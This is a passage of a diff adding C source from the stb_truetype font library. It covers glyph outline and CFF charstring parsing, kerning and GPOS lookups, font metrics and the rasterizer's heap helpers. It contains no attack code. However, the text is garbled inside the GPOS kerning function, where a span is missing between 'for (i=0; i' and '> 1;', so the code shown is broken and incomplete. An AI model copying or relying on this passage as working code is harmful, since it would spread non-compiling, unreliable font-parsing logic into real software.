stbtt_setvertex(&vertices[num_vertices++], STBTT_vline, x,y,0,0); + was_off = 0; + } + } + } + num_vertices = stbtt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); + } else if (numberOfContours == -1) { + // Compound shapes. + int more = 1; + stbtt_uint8 *comp = data + g + 10; + num_vertices = 0; + vertices = 0; + while (more) { + stbtt_uint16 flags, gidx; + int comp_num_verts = 0, i; + stbtt_vertex *comp_verts = 0, *tmp = 0; + float mtx[6] = {1,0,0,1,0,0}, m, n; + + flags = ttSHORT(comp); comp+=2; + gidx = ttSHORT(comp); comp+=2; + + if (flags & 2) { // XY values + if (flags & 1) { // shorts + mtx[4] = ttSHORT(comp); comp+=2; + mtx[5] = ttSHORT(comp); comp+=2; + } else { + mtx[4] = ttCHAR(comp); comp+=1; + mtx[5] = ttCHAR(comp); comp+=1; + } + } + else { + // @TODO handle matching point + STBTT_assert(0); + } + if (flags & (1<<3)) { // WE_HAVE_A_SCALE + mtx[0] = mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = mtx[2] = 0; + } else if (flags & (1<<6)) { // WE_HAVE_AN_X_AND_YSCALE + mtx[0] = ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = mtx[2] = 0; + mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; + } else if (flags & (1<<7)) { // WE_HAVE_A_TWO_BY_TWO + mtx[0] = ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = ttSHORT(comp)/16384.0f; comp+=2; + mtx[2] = ttSHORT(comp)/16384.0f; comp+=2; + mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; + } + + // Find transformation scales. + m = (float) STBTT_sqrt(mtx[0]*mtx[0] + mtx[1]*mtx[1]); + n = (float) STBTT_sqrt(mtx[2]*mtx[2] + mtx[3]*mtx[3]); + + // Get indexed glyph. + comp_num_verts = stbtt_GetGlyphShape(info, gidx, &comp_verts); + if (comp_num_verts > 0) { + // Transform vertices. + for (i = 0; i < comp_num_verts; ++i) { + stbtt_vertex* v = &comp_verts[i]; + stbtt_vertex_type x,y; + x=v->x; y=v->y; + v->x = (stbtt_vertex_type)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); + v->y = (stbtt_vertex_type)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); + x=v->cx; y=v->cy; + v->cx = (stbtt_vertex_type)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); + v->cy = (stbtt_vertex_type)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); + } + // Append vertices. + tmp = (stbtt_vertex*)STBTT_malloc((num_vertices+comp_num_verts)*sizeof(stbtt_vertex), info->userdata); + if (!tmp) { + if (vertices) STBTT_free(vertices, info->userdata); + if (comp_verts) STBTT_free(comp_verts, info->userdata); + return 0; + } + if (num_vertices > 0) STBTT_memcpy(tmp, vertices, num_vertices*sizeof(stbtt_vertex)); //-V595 + STBTT_memcpy(tmp+num_vertices, comp_verts, comp_num_verts*sizeof(stbtt_vertex)); + if (vertices) STBTT_free(vertices, info->userdata); + vertices = tmp; + STBTT_free(comp_verts, info->userdata); + num_vertices += comp_num_verts; + } + // More components ? + more = flags & (1<<5); + } + } else if (numberOfContours < 0) { + // @TODO other compound variations? + STBTT_assert(0); + } else { + // numberOfCounters == 0, do nothing + } + + *pvertices = vertices; + return num_vertices; +} + +typedef struct +{ + int bounds; + int started; + float first_x, first_y; + float x, y; + stbtt_int32 min_x, max_x, min_y, max_y; + + stbtt_vertex *pvertices; + int num_vertices; +} stbtt__csctx; + +#define STBTT__CSCTX_INIT(bounds) {bounds,0, 0,0, 0,0, 0,0,0,0, NULL, 0} + +static void stbtt__track_vertex(stbtt__csctx *c, stbtt_int32 x, stbtt_int32 y) +{ + if (x > c->max_x || !c->started) c->max_x = x; + if (y > c->max_y || !c->started) c->max_y = y; + if (x < c->min_x || !c->started) c->min_x = x; + if (y < c->min_y || !c->started) c->min_y = y; + c->started = 1; +} + +static void stbtt__csctx_v(stbtt__csctx *c, stbtt_uint8 type, stbtt_int32 x, stbtt_int32 y, stbtt_int32 cx, stbtt_int32 cy, stbtt_int32 cx1, stbtt_int32 cy1) +{ + if (c->bounds) { + stbtt__track_vertex(c, x, y); + if (type == STBTT_vcubic) { + stbtt__track_vertex(c, cx, cy); + stbtt__track_vertex(c, cx1, cy1); + } + } else { + stbtt_setvertex(&c->pvertices[c->num_vertices], type, x, y, cx, cy); + c->pvertices[c->num_vertices].cx1 = (stbtt_int16) cx1; + c->pvertices[c->num_vertices].cy1 = (stbtt_int16) cy1; + } + c->num_vertices++; +} + +static void stbtt__csctx_close_shape(stbtt__csctx *ctx) +{ + if (ctx->first_x != ctx->x || ctx->first_y != ctx->y) + stbtt__csctx_v(ctx, STBTT_vline, (int)ctx->first_x, (int)ctx->first_y, 0, 0, 0, 0); +} + +static void stbtt__csctx_rmove_to(stbtt__csctx *ctx, float dx, float dy) +{ + stbtt__csctx_close_shape(ctx); + ctx->first_x = ctx->x = ctx->x + dx; + ctx->first_y = ctx->y = ctx->y + dy; + stbtt__csctx_v(ctx, STBTT_vmove, (int)ctx->x, (int)ctx->y, 0, 0, 0, 0); +} + +static void stbtt__csctx_rline_to(stbtt__csctx *ctx, float dx, float dy) +{ + ctx->x += dx; + ctx->y += dy; + stbtt__csctx_v(ctx, STBTT_vline, (int)ctx->x, (int)ctx->y, 0, 0, 0, 0); +} + +static void stbtt__csctx_rccurve_to(stbtt__csctx *ctx, float dx1, float dy1, float dx2, float dy2, float dx3, float dy3) +{ + float cx1 = ctx->x + dx1; + float cy1 = ctx->y + dy1; + float cx2 = cx1 + dx2; + float cy2 = cy1 + dy2; + ctx->x = cx2 + dx3; + ctx->y = cy2 + dy3; + stbtt__csctx_v(ctx, STBTT_vcubic, (int)ctx->x, (int)ctx->y, (int)cx1, (int)cy1, (int)cx2, (int)cy2); +} + +static stbtt__buf stbtt__get_subr(stbtt__buf idx, int n) +{ + int count = stbtt__cff_index_count(&idx); + int bias = 107; + if (count >= 33900) + bias = 32768; + else if (count >= 1240) + bias = 1131; + n += bias; + if (n < 0 || n >= count) + return stbtt__new_buf(NULL, 0); + return stbtt__cff_index_get(idx, n); +} + +static stbtt__buf stbtt__cid_get_glyph_subrs(const stbtt_fontinfo *info, int glyph_index) +{ + stbtt__buf fdselect = info->fdselect; + int nranges, start, end, v, fmt, fdselector = -1, i; + + stbtt__buf_seek(&fdselect, 0); + fmt = stbtt__buf_get8(&fdselect); + if (fmt == 0) { + // untested + stbtt__buf_skip(&fdselect, glyph_index); + fdselector = stbtt__buf_get8(&fdselect); + } else if (fmt == 3) { + nranges = stbtt__buf_get16(&fdselect); + start = stbtt__buf_get16(&fdselect); + for (i = 0; i < nranges; i++) { + v = stbtt__buf_get8(&fdselect); + end = stbtt__buf_get16(&fdselect); + if (glyph_index >= start && glyph_index < end) { + fdselector = v; + break; + } + start = end; + } + } + if (fdselector == -1) stbtt__new_buf(NULL, 0); + return stbtt__get_subrs(info->cff, stbtt__cff_index_get(info->fontdicts, fdselector)); +} + +static int stbtt__run_charstring(const stbtt_fontinfo *info, int glyph_index, stbtt__csctx *c) +{ + int in_header = 1, maskbits = 0, subr_stack_height = 0, sp = 0, v, i, b0; + int has_subrs = 0, clear_stack; + float s[48]; + stbtt__buf subr_stack[10], subrs = info->subrs, b; + float f; + +#define STBTT__CSERR(s) (0) + + // this currently ignores the initial width value, which isn't needed if we have hmtx + b = stbtt__cff_index_get(info->charstrings, glyph_index); + while (b.cursor < b.size) { + i = 0; + clear_stack = 1; + b0 = stbtt__buf_get8(&b); + switch (b0) { + // @TODO implement hinting + case 0x13: // hintmask + case 0x14: // cntrmask + if (in_header) + maskbits += (sp / 2); // implicit "vstem" + in_header = 0; + stbtt__buf_skip(&b, (maskbits + 7) / 8); + break; + + case 0x01: // hstem + case 0x03: // vstem + case 0x12: // hstemhm + case 0x17: // vstemhm + maskbits += (sp / 2); + break; + + case 0x15: // rmoveto + in_header = 0; + if (sp < 2) return STBTT__CSERR("rmoveto stack"); + stbtt__csctx_rmove_to(c, s[sp-2], s[sp-1]); + break; + case 0x04: // vmoveto + in_header = 0; + if (sp < 1) return STBTT__CSERR("vmoveto stack"); + stbtt__csctx_rmove_to(c, 0, s[sp-1]); + break; + case 0x16: // hmoveto + in_header = 0; + if (sp < 1) return STBTT__CSERR("hmoveto stack"); + stbtt__csctx_rmove_to(c, s[sp-1], 0); + break; + + case 0x05: // rlineto + if (sp < 2) return STBTT__CSERR("rlineto stack"); + for (; i + 1 < sp; i += 2) + stbtt__csctx_rline_to(c, s[i], s[i+1]); + break; + + // hlineto/vlineto and vhcurveto/hvcurveto alternate horizontal and vertical + // starting from a different place. + + case 0x07: // vlineto + if (sp < 1) return STBTT__CSERR("vlineto stack"); + goto vlineto; + case 0x06: // hlineto + if (sp < 1) return STBTT__CSERR("hlineto stack"); + for (;;) { + if (i >= sp) break; + stbtt__csctx_rline_to(c, s[i], 0); + i++; + vlineto: + if (i >= sp) break; + stbtt__csctx_rline_to(c, 0, s[i]); + i++; + } + break; + + case 0x1F: // hvcurveto + if (sp < 4) return STBTT__CSERR("hvcurveto stack"); + goto hvcurveto; + case 0x1E: // vhcurveto + if (sp < 4) return STBTT__CSERR("vhcurveto stack"); + for (;;) { + if (i + 3 >= sp) break; + stbtt__csctx_rccurve_to(c, 0, s[i], s[i+1], s[i+2], s[i+3], (sp - i == 5) ? s[i + 4] : 0.0f); + i += 4; + hvcurveto: + if (i + 3 >= sp) break; + stbtt__csctx_rccurve_to(c, s[i], 0, s[i+1], s[i+2], (sp - i == 5) ? s[i+4] : 0.0f, s[i+3]); + i += 4; + } + break; + + case 0x08: // rrcurveto + if (sp < 6) return STBTT__CSERR("rcurveline stack"); + for (; i + 5 < sp; i += 6) + stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); + break; + + case 0x18: // rcurveline + if (sp < 8) return STBTT__CSERR("rcurveline stack"); + for (; i + 5 < sp - 2; i += 6) + stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); + if (i + 1 >= sp) return STBTT__CSERR("rcurveline stack"); + stbtt__csctx_rline_to(c, s[i], s[i+1]); + break; + + case 0x19: // rlinecurve + if (sp < 8) return STBTT__CSERR("rlinecurve stack"); + for (; i + 1 < sp - 6; i += 2) + stbtt__csctx_rline_to(c, s[i], s[i+1]); + if (i + 5 >= sp) return STBTT__CSERR("rlinecurve stack"); + stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); + break; + + case 0x1A: // vvcurveto + case 0x1B: // hhcurveto + if (sp < 4) return STBTT__CSERR("(vv|hh)curveto stack"); + f = 0.0; + if (sp & 1) { f = s[i]; i++; } + for (; i + 3 < sp; i += 4) { + if (b0 == 0x1B) + stbtt__csctx_rccurve_to(c, s[i], f, s[i+1], s[i+2], s[i+3], 0.0); + else + stbtt__csctx_rccurve_to(c, f, s[i], s[i+1], s[i+2], 0.0, s[i+3]); + f = 0.0; + } + break; + + case 0x0A: // callsubr + if (!has_subrs) { + if (info->fdselect.size) + subrs = stbtt__cid_get_glyph_subrs(info, glyph_index); + has_subrs = 1; + } + // fallthrough + case 0x1D: // callgsubr + if (sp < 1) return STBTT__CSERR("call(g|)subr stack"); + v = (int) s[--sp]; + if (subr_stack_height >= 10) return STBTT__CSERR("recursion limit"); + subr_stack[subr_stack_height++] = b; + b = stbtt__get_subr(b0 == 0x0A ? subrs : info->gsubrs, v); + if (b.size == 0) return STBTT__CSERR("subr not found"); + b.cursor = 0; + clear_stack = 0; + break; + + case 0x0B: // return + if (subr_stack_height <= 0) return STBTT__CSERR("return outside subr"); + b = subr_stack[--subr_stack_height]; + clear_stack = 0; + break; + + case 0x0E: // endchar + stbtt__csctx_close_shape(c); + return 1; + + case 0x0C: { // two-byte escape + float dx1, dx2, dx3, dx4, dx5, dx6, dy1, dy2, dy3, dy4, dy5, dy6; + float dx, dy; + int b1 = stbtt__buf_get8(&b); + switch (b1) { + // @TODO These "flex" implementations ignore the flex-depth and resolution, + // and always draw beziers. + case 0x22: // hflex + if (sp < 7) return STBTT__CSERR("hflex stack"); + dx1 = s[0]; + dx2 = s[1]; + dy2 = s[2]; + dx3 = s[3]; + dx4 = s[4]; + dx5 = s[5]; + dx6 = s[6]; + stbtt__csctx_rccurve_to(c, dx1, 0, dx2, dy2, dx3, 0); + stbtt__csctx_rccurve_to(c, dx4, 0, dx5, -dy2, dx6, 0); + break; + + case 0x23: // flex + if (sp < 13) return STBTT__CSERR("flex stack"); + dx1 = s[0]; + dy1 = s[1]; + dx2 = s[2]; + dy2 = s[3]; + dx3 = s[4]; + dy3 = s[5]; + dx4 = s[6]; + dy4 = s[7]; + dx5 = s[8]; + dy5 = s[9]; + dx6 = s[10]; + dy6 = s[11]; + //fd is s[12] + stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, dy3); + stbtt__csctx_rccurve_to(c, dx4, dy4, dx5, dy5, dx6, dy6); + break; + + case 0x24: // hflex1 + if (sp < 9) return STBTT__CSERR("hflex1 stack"); + dx1 = s[0]; + dy1 = s[1]; + dx2 = s[2]; + dy2 = s[3]; + dx3 = s[4]; + dx4 = s[5]; + dx5 = s[6]; + dy5 = s[7]; + dx6 = s[8]; + stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, 0); + stbtt__csctx_rccurve_to(c, dx4, 0, dx5, dy5, dx6, -(dy1+dy2+dy5)); + break; + + case 0x25: // flex1 + if (sp < 11) return STBTT__CSERR("flex1 stack"); + dx1 = s[0]; + dy1 = s[1]; + dx2 = s[2]; + dy2 = s[3]; + dx3 = s[4]; + dy3 = s[5]; + dx4 = s[6]; + dy4 = s[7]; + dx5 = s[8]; + dy5 = s[9]; + dx6 = dy6 = s[10]; + dx = dx1+dx2+dx3+dx4+dx5; + dy = dy1+dy2+dy3+dy4+dy5; + if (STBTT_fabs(dx) > STBTT_fabs(dy)) + dy6 = -dy; + else + dx6 = -dx; + stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, dy3); + stbtt__csctx_rccurve_to(c, dx4, dy4, dx5, dy5, dx6, dy6); + break; + + default: + return STBTT__CSERR("unimplemented"); + } + } break; + + default: + if (b0 != 255 && b0 != 28 && (b0 < 32 || b0 > 254)) //-V560 + return STBTT__CSERR("reserved operator"); + + // push immediate + if (b0 == 255) { + f = (float)(stbtt_int32)stbtt__buf_get32(&b) / 0x10000; + } else { + stbtt__buf_skip(&b, -1); + f = (float)(stbtt_int16)stbtt__cff_int(&b); + } + if (sp >= 48) return STBTT__CSERR("push stack overflow"); + s[sp++] = f; + clear_stack = 0; + break; + } + if (clear_stack) sp = 0; + } + return STBTT__CSERR("no endchar"); + +#undef STBTT__CSERR +} + +static int stbtt__GetGlyphShapeT2(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) +{ + // runs the charstring twice, once to count and once to output (to avoid realloc) + stbtt__csctx count_ctx = STBTT__CSCTX_INIT(1); + stbtt__csctx output_ctx = STBTT__CSCTX_INIT(0); + if (stbtt__run_charstring(info, glyph_index, &count_ctx)) { + *pvertices = (stbtt_vertex*)STBTT_malloc(count_ctx.num_vertices*sizeof(stbtt_vertex), info->userdata); + output_ctx.pvertices = *pvertices; + if (stbtt__run_charstring(info, glyph_index, &output_ctx)) { + STBTT_assert(output_ctx.num_vertices == count_ctx.num_vertices); + return output_ctx.num_vertices; + } + } + *pvertices = NULL; + return 0; +} + +static int stbtt__GetGlyphInfoT2(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1) +{ + stbtt__csctx c = STBTT__CSCTX_INIT(1); + int r = stbtt__run_charstring(info, glyph_index, &c); + if (x0) *x0 = r ? c.min_x : 0; + if (y0) *y0 = r ? c.min_y : 0; + if (x1) *x1 = r ? c.max_x : 0; + if (y1) *y1 = r ? c.max_y : 0; + return r ? c.num_vertices : 0; +} + +STBTT_DEF int stbtt_GetGlyphShape(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) +{ + if (!info->cff.size) + return stbtt__GetGlyphShapeTT(info, glyph_index, pvertices); + else + return stbtt__GetGlyphShapeT2(info, glyph_index, pvertices); +} + +STBTT_DEF void stbtt_GetGlyphHMetrics(const stbtt_fontinfo *info, int glyph_index, int *advanceWidth, int *leftSideBearing) +{ + stbtt_uint16 numOfLongHorMetrics = ttUSHORT(info->data+info->hhea + 34); + if (glyph_index < numOfLongHorMetrics) { + if (advanceWidth) *advanceWidth = ttSHORT(info->data + info->hmtx + 4*glyph_index); + if (leftSideBearing) *leftSideBearing = ttSHORT(info->data + info->hmtx + 4*glyph_index + 2); + } else { + if (advanceWidth) *advanceWidth = ttSHORT(info->data + info->hmtx + 4*(numOfLongHorMetrics-1)); + if (leftSideBearing) *leftSideBearing = ttSHORT(info->data + info->hmtx + 4*numOfLongHorMetrics + 2*(glyph_index - numOfLongHorMetrics)); + } +} + +static int stbtt__GetGlyphKernInfoAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2) +{ + stbtt_uint8 *data = info->data + info->kern; + stbtt_uint32 needle, straw; + int l, r, m; + + // we only look at the first table. it must be 'horizontal' and format 0. + if (!info->kern) + return 0; + if (ttUSHORT(data+2) < 1) // number of tables, need at least 1 + return 0; + if (ttUSHORT(data+8) != 1) // horizontal flag must be set in format + return 0; + + l = 0; + r = ttUSHORT(data+10) - 1; + needle = glyph1 << 16 | glyph2; + while (l <= r) { + m = (l + r) >> 1; + straw = ttULONG(data+18+(m*6)); // note: unaligned read + if (needle < straw) + r = m - 1; + else if (needle > straw) + l = m + 1; + else + return ttSHORT(data+22+(m*6)); + } + return 0; +} + +static stbtt_int32 stbtt__GetCoverageIndex(stbtt_uint8 *coverageTable, int glyph) +{ + stbtt_uint16 coverageFormat = ttUSHORT(coverageTable); + switch(coverageFormat) { + case 1: { + stbtt_uint16 glyphCount = ttUSHORT(coverageTable + 2); + + // Binary search. + stbtt_int32 l=0, r=glyphCount-1, m; + int straw, needle=glyph; + while (l <= r) { + stbtt_uint8 *glyphArray = coverageTable + 4; + stbtt_uint16 glyphID; + m = (l + r) >> 1; + glyphID = ttUSHORT(glyphArray + 2 * m); + straw = glyphID; + if (needle < straw) + r = m - 1; + else if (needle > straw) + l = m + 1; + else { + return m; + } + } + } break; + + case 2: { + stbtt_uint16 rangeCount = ttUSHORT(coverageTable + 2); + stbtt_uint8 *rangeArray = coverageTable + 4; + + // Binary search. + stbtt_int32 l=0, r=rangeCount-1, m; + int strawStart, strawEnd, needle=glyph; + while (l <= r) { + stbtt_uint8 *rangeRecord; + m = (l + r) >> 1; + rangeRecord = rangeArray + 6 * m; + strawStart = ttUSHORT(rangeRecord); + strawEnd = ttUSHORT(rangeRecord + 2); + if (needle < strawStart) + r = m - 1; + else if (needle > strawEnd) + l = m + 1; + else { + stbtt_uint16 startCoverageIndex = ttUSHORT(rangeRecord + 4); + return startCoverageIndex + glyph - strawStart; + } + } + } break; + + default: { + // There are no other cases. + STBTT_assert(0); + } break; + } + + return -1; +} + +static stbtt_int32 stbtt__GetGlyphClass(stbtt_uint8 *classDefTable, int glyph) +{ + stbtt_uint16 classDefFormat = ttUSHORT(classDefTable); + switch(classDefFormat) + { + case 1: { + stbtt_uint16 startGlyphID = ttUSHORT(classDefTable + 2); + stbtt_uint16 glyphCount = ttUSHORT(classDefTable + 4); + stbtt_uint8 *classDef1ValueArray = classDefTable + 6; + + if (glyph >= startGlyphID && glyph < startGlyphID + glyphCount) + return (stbtt_int32)ttUSHORT(classDef1ValueArray + 2 * (glyph - startGlyphID)); + + // [DEAR IMGUI] Commented to fix static analyzer warning + //classDefTable = classDef1ValueArray + 2 * glyphCount; + } break; + + case 2: { + stbtt_uint16 classRangeCount = ttUSHORT(classDefTable + 2); + stbtt_uint8 *classRangeRecords = classDefTable + 4; + + // Binary search. + stbtt_int32 l=0, r=classRangeCount-1, m; + int strawStart, strawEnd, needle=glyph; + while (l <= r) { + stbtt_uint8 *classRangeRecord; + m = (l + r) >> 1; + classRangeRecord = classRangeRecords + 6 * m; + strawStart = ttUSHORT(classRangeRecord); + strawEnd = ttUSHORT(classRangeRecord + 2); + if (needle < strawStart) + r = m - 1; + else if (needle > strawEnd) + l = m + 1; + else + return (stbtt_int32)ttUSHORT(classRangeRecord + 4); + } + + // [DEAR IMGUI] Commented to fix static analyzer warning + //classDefTable = classRangeRecords + 6 * classRangeCount; + } break; + + default: { + // There are no other cases. + STBTT_assert(0); + } break; + } + + return -1; +} + +// Define to STBTT_assert(x) if you want to break on unimplemented formats. +#define STBTT_GPOS_TODO_assert(x) + +static stbtt_int32 stbtt__GetGlyphGPOSInfoAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2) +{ + stbtt_uint16 lookupListOffset; + stbtt_uint8 *lookupList; + stbtt_uint16 lookupCount; + stbtt_uint8 *data; + stbtt_int32 i; + + if (!info->gpos) return 0; + + data = info->data + info->gpos; + + if (ttUSHORT(data+0) != 1) return 0; // Major version 1 + if (ttUSHORT(data+2) != 0) return 0; // Minor version 0 + + lookupListOffset = ttUSHORT(data+8); + lookupList = data + lookupListOffset; + lookupCount = ttUSHORT(lookupList); + + for (i=0; i> 1; + pairValue = pairValueArray + (2 + valueRecordPairSizeInBytes) * m; + secondGlyph = ttUSHORT(pairValue); + straw = secondGlyph; + if (needle < straw) + r = m - 1; + else if (needle > straw) + l = m + 1; + else { + stbtt_int16 xAdvance = ttSHORT(pairValue + 2); + return xAdvance; + } + } + } break; + + case 2: { + stbtt_uint16 valueFormat1 = ttUSHORT(table + 4); + stbtt_uint16 valueFormat2 = ttUSHORT(table + 6); + + stbtt_uint16 classDef1Offset = ttUSHORT(table + 8); + stbtt_uint16 classDef2Offset = ttUSHORT(table + 10); + int glyph1class = stbtt__GetGlyphClass(table + classDef1Offset, glyph1); + int glyph2class = stbtt__GetGlyphClass(table + classDef2Offset, glyph2); + + stbtt_uint16 class1Count = ttUSHORT(table + 12); + stbtt_uint16 class2Count = ttUSHORT(table + 14); + STBTT_assert(glyph1class < class1Count); + STBTT_assert(glyph2class < class2Count); + + // TODO: Support more formats. + STBTT_GPOS_TODO_assert(valueFormat1 == 4); + if (valueFormat1 != 4) return 0; + STBTT_GPOS_TODO_assert(valueFormat2 == 0); + if (valueFormat2 != 0) return 0; + + if (glyph1class >= 0 && glyph1class < class1Count && glyph2class >= 0 && glyph2class < class2Count) { + stbtt_uint8 *class1Records = table + 16; + stbtt_uint8 *class2Records = class1Records + 2 * (glyph1class * class2Count); + stbtt_int16 xAdvance = ttSHORT(class2Records + 2 * glyph2class); + return xAdvance; + } + } break; + + default: { + // There are no other cases. + STBTT_assert(0); + break; + } // [DEAR IMGUI] removed ; + } + } + break; + } // [DEAR IMGUI] removed ; + + default: + // TODO: Implement other stuff. + break; + } + } + + return 0; +} + +STBTT_DEF int stbtt_GetGlyphKernAdvance(const stbtt_fontinfo *info, int g1, int g2) +{ + int xAdvance = 0; + + if (info->gpos) + xAdvance += stbtt__GetGlyphGPOSInfoAdvance(info, g1, g2); + + if (info->kern) + xAdvance += stbtt__GetGlyphKernInfoAdvance(info, g1, g2); + + return xAdvance; +} + +STBTT_DEF int stbtt_GetCodepointKernAdvance(const stbtt_fontinfo *info, int ch1, int ch2) +{ + if (!info->kern && !info->gpos) // if no kerning table, don't waste time looking up both codepoint->glyphs + return 0; + return stbtt_GetGlyphKernAdvance(info, stbtt_FindGlyphIndex(info,ch1), stbtt_FindGlyphIndex(info,ch2)); +} + +STBTT_DEF void stbtt_GetCodepointHMetrics(const stbtt_fontinfo *info, int codepoint, int *advanceWidth, int *leftSideBearing) +{ + stbtt_GetGlyphHMetrics(info, stbtt_FindGlyphIndex(info,codepoint), advanceWidth, leftSideBearing); +} + +STBTT_DEF void stbtt_GetFontVMetrics(const stbtt_fontinfo *info, int *ascent, int *descent, int *lineGap) +{ + if (ascent ) *ascent = ttSHORT(info->data+info->hhea + 4); + if (descent) *descent = ttSHORT(info->data+info->hhea + 6); + if (lineGap) *lineGap = ttSHORT(info->data+info->hhea + 8); +} + +STBTT_DEF int stbtt_GetFontVMetricsOS2(const stbtt_fontinfo *info, int *typoAscent, int *typoDescent, int *typoLineGap) +{ + int tab = stbtt__find_table(info->data, info->fontstart, "OS/2"); + if (!tab) + return 0; + if (typoAscent ) *typoAscent = ttSHORT(info->data+tab + 68); + if (typoDescent) *typoDescent = ttSHORT(info->data+tab + 70); + if (typoLineGap) *typoLineGap = ttSHORT(info->data+tab + 72); + return 1; +} + +STBTT_DEF void stbtt_GetFontBoundingBox(const stbtt_fontinfo *info, int *x0, int *y0, int *x1, int *y1) +{ + *x0 = ttSHORT(info->data + info->head + 36); + *y0 = ttSHORT(info->data + info->head + 38); + *x1 = ttSHORT(info->data + info->head + 40); + *y1 = ttSHORT(info->data + info->head + 42); +} + +STBTT_DEF float stbtt_ScaleForPixelHeight(const stbtt_fontinfo *info, float height) +{ + int fheight = ttSHORT(info->data + info->hhea + 4) - ttSHORT(info->data + info->hhea + 6); + return (float) height / fheight; +} + +STBTT_DEF float stbtt_ScaleForMappingEmToPixels(const stbtt_fontinfo *info, float pixels) +{ + int unitsPerEm = ttUSHORT(info->data + info->head + 18); + return pixels / unitsPerEm; +} + +STBTT_DEF void stbtt_FreeShape(const stbtt_fontinfo *info, stbtt_vertex *v) +{ + STBTT_free(v, info->userdata); +} + +////////////////////////////////////////////////////////////////////////////// +// +// antialiasing software rasterizer +// + +STBTT_DEF void stbtt_GetGlyphBitmapBoxSubpixel(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y,float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1) +{ + int x0=0,y0=0,x1,y1; // =0 suppresses compiler warning + if (!stbtt_GetGlyphBox(font, glyph, &x0,&y0,&x1,&y1)) { + // e.g. space character + if (ix0) *ix0 = 0; + if (iy0) *iy0 = 0; + if (ix1) *ix1 = 0; + if (iy1) *iy1 = 0; + } else { + // move to integral bboxes (treating pixels as little squares, what pixels get touched)? + if (ix0) *ix0 = STBTT_ifloor( x0 * scale_x + shift_x); + if (iy0) *iy0 = STBTT_ifloor(-y1 * scale_y + shift_y); + if (ix1) *ix1 = STBTT_iceil ( x1 * scale_x + shift_x); + if (iy1) *iy1 = STBTT_iceil (-y0 * scale_y + shift_y); + } +} + +STBTT_DEF void stbtt_GetGlyphBitmapBox(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1) +{ + stbtt_GetGlyphBitmapBoxSubpixel(font, glyph, scale_x, scale_y,0.0f,0.0f, ix0, iy0, ix1, iy1); +} + +STBTT_DEF void stbtt_GetCodepointBitmapBoxSubpixel(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1) +{ + stbtt_GetGlyphBitmapBoxSubpixel(font, stbtt_FindGlyphIndex(font,codepoint), scale_x, scale_y,shift_x,shift_y, ix0,iy0,ix1,iy1); +} + +STBTT_DEF void stbtt_GetCodepointBitmapBox(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1) +{ + stbtt_GetCodepointBitmapBoxSubpixel(font, codepoint, scale_x, scale_y,0.0f,0.0f, ix0,iy0,ix1,iy1); +} + +////////////////////////////////////////////////////////////////////////////// +// +// Rasterizer + +typedef struct stbtt__hheap_chunk +{ + struct stbtt__hheap_chunk *next; +} stbtt__hheap_chunk; + +typedef struct stbtt__hheap +{ + struct stbtt__hheap_chunk *head; + void *first_free; + int num_remaining_in_head_chunk; +} stbtt__hheap; + +static void *stbtt__hheap_alloc(stbtt__hheap *hh, size_t size, void *userdata) +{ + if (hh->first_free) { + void *p = hh->first_free; + hh->first_free = * (void **) p; + return p; + } else { + if (hh->num_remaining_in_head_chunk == 0) { + int count = (size < 32 ? 2000 : size < 128 ? 800 : 100); + stbtt__hheap_chunk *c = (stbtt__hheap_chunk *) STBTT_malloc(sizeof(stbtt__hheap_chunk) + size * count, userdata); + if (c == NULL) + return NULL; + c->next = hh->head; + hh->head = c; + hh->num_remaining_in_head_chunk = count; + } + --hh->num_remaining_in_head_chunk; + return (char *) (hh->head) + sizeof(stbtt__hheap_chunk) + size * hh->num_remaining_in_head_chunk; + } +} + +static void stbtt__hheap_free(stbtt__hheap *hh, void *p) +{ + *(void **) p = hh->first_free; + hh->first_free = p; +} + +static void stbtt__hheap_cleanup(stbtt__hheap *hh, void *userdata) +{ + stbtt__hheap_chunk *c = hh->head; + while (c) { + stbtt__hheap_chunk *n = c->next; + STBTT_free(c, userdata); + c = n; + } +} + +typedef struct stbtt__edge { + float x0,y0, x1,y1; + int invert; +} stbtt__edge; + + +typedef struct stbtt__active_edge +{ + struct stbtt__active_edge *next; + #if STBTT_RASTERIZER_VERSION==1 + int x,dx; + float ey; + int direction; + #elif STBTT_RASTERIZER_VERSION==2 + float fx,fdx,fdy; + float direction; + float sy; + float ey; + #else + #error "Unrecognized value of STBTT_RASTERIZER_VERSION" + #endif +} stbtt__active_edge; + +#if STBTT_RASTERIZER_VERSION == 1 +#define STBTT_FIXSHIFT 10 +#define STBTT_FIX (1 << STBTT_FIXSHIFT) +#define STBTT_FIXMASK (STBTT_FIX-1) + +static stbtt__active_edge *stbtt__new_active(stbtt__hheap *hh, stbtt__edge *e, int off_x, float start_point, void *userdata) +{ + stbtt__active_edge *z = (stbtt__active_edge *) stbtt__hheap_alloc(hh, sizeof(*z), userdata); + float dxdy = (e->x1 - e->x0) / (e->y1 